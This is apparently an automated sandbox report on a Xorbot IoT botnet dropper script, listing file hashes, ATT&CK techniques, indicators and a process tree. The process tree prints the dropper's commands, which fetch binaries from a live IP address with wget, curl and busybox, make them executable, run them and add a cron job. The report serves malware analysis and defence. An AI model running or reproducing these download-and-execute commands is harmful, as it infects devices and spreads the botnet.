xorbot | 02a32a43b1dfa95b12216aff9d79f7fde2759570bdf07a0ce325cb758544ea03

Analysis

max time kernel
122s
max time network
152s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
11/12/2024, 23:32

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General

Target

bins.sh
Size

10KB
MD5

5320493cb4ab4097e682ca44fe06a060
SHA1

d1553a053ac98676f4000f40b1e182cfe6e10d40
SHA256

02a32a43b1dfa95b12216aff9d79f7fde2759570bdf07a0ce325cb758544ea03
SHA512

ff383deb2024b2ce9b6feca6c613174fc640c28a68e6c446bb31130b6f2747ab5d4c4e2f4b24da60831d1634e956477086a3fe59f1007b7ea66e6440ff830f9c
SSDEEP

192:X7ntLmJJKRNhYgSCWtm2QIQVQsRmBQgxUntLMJJKRNeYwCWtm2iIQVQscCZ:X7nt5HSCWtm2QIQVQsRGQgxUntdwCWtO

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1311) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
805	chmod
812	chmod
819	chmod
829	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z	806	TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
/tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv	813	gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
/tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4	820	w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
/tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF	830	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF

Renames itself 1 IoCs

pid	Process
831	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.JTgTbu	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/82/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/697/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/916/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/950/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/1031/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/1048/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/36/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/888/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/973/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/1004/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/860/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/971/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/18/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/24/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/870/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/957/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/1045/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/5/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/12/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/668/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/982/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/404/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/837/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/886/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/903/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/839/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/889/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/917/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/943/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/974/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/988/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/900/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/945/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/960/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/2/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/864/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/868/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/983/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/696/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/865/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/906/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/994/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/17/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/969/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/979/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/997/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/1033/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/1039/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/899/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/918/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/842/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/914/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/925/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/989/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/1028/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/8/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/1010/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/883/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/965/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/4/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/963/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/1047/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
File opened for reading	/proc/962/cmdline	PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF	curl
File opened for modification	/tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF	busybox
File opened for modification	/tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z	wget
File opened for modification	/tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z	busybox
File opened for modification	/tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv	wget
File opened for modification	/tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv	curl
File opened for modification	/tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4	busybox
File opened for modification	/tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z	curl
File opened for modification	/tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv	busybox
File opened for modification	/tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4	wget
File opened for modification	/tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4	curl
File opened for modification	/tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:700
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:704
- /usr/bin/wget
  wget http://37.44.238.68/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
  2⤵
  - Writes file to tmp directory
  PID:708
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
  2⤵
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
  2⤵
  - Writes file to tmp directory
  PID:804
- /bin/chmod
  chmod 777 TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
  ./TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
  2⤵
  PID:808
- /usr/bin/wget
  wget http://37.44.238.68/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
  2⤵
  - Writes file to tmp directory
  PID:809
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
  2⤵
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
  2⤵
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod 777 gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
  ./gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
  2⤵
  PID:815
- /usr/bin/wget
  wget http://37.44.238.68/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
  2⤵
  - Writes file to tmp directory
  PID:816
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
  2⤵
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
  2⤵
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod 777 w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
  ./w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
  2⤵
  PID:822
- /usr/bin/wget
  wget http://37.44.238.68/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
  2⤵
  - Writes file to tmp directory
  PID:823
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
  2⤵
  - Writes file to tmp directory
  PID:828
- /bin/chmod
  chmod 777 PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
  ./PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:830
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:832
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:833
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:834
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:835
- /bin/rm
  rm PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
  2⤵
  PID:837
- /usr/bin/wget
  wget http://37.44.238.68/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
  2⤵
  PID:840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/var/spool/cron/crontabs/tmp.JTgTbu

Filesize
210B

MD5
0fc1188c6f2e6b97648681aae1c034a1

SHA1
0d4f0c2f26db1e9d39f19e8d12b9bc818cddfe91

SHA256
fb946403a98940c912f179643c7422f18b93d72f681d200281762998602d63f8

SHA512
93875d2db5539de0a86c99e806a9523fa637480560b25c6383b36588689c0ec9130502f1682e05be9b3374d49c31bc81a61291e41ad2cb55facbe308d22a6914

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads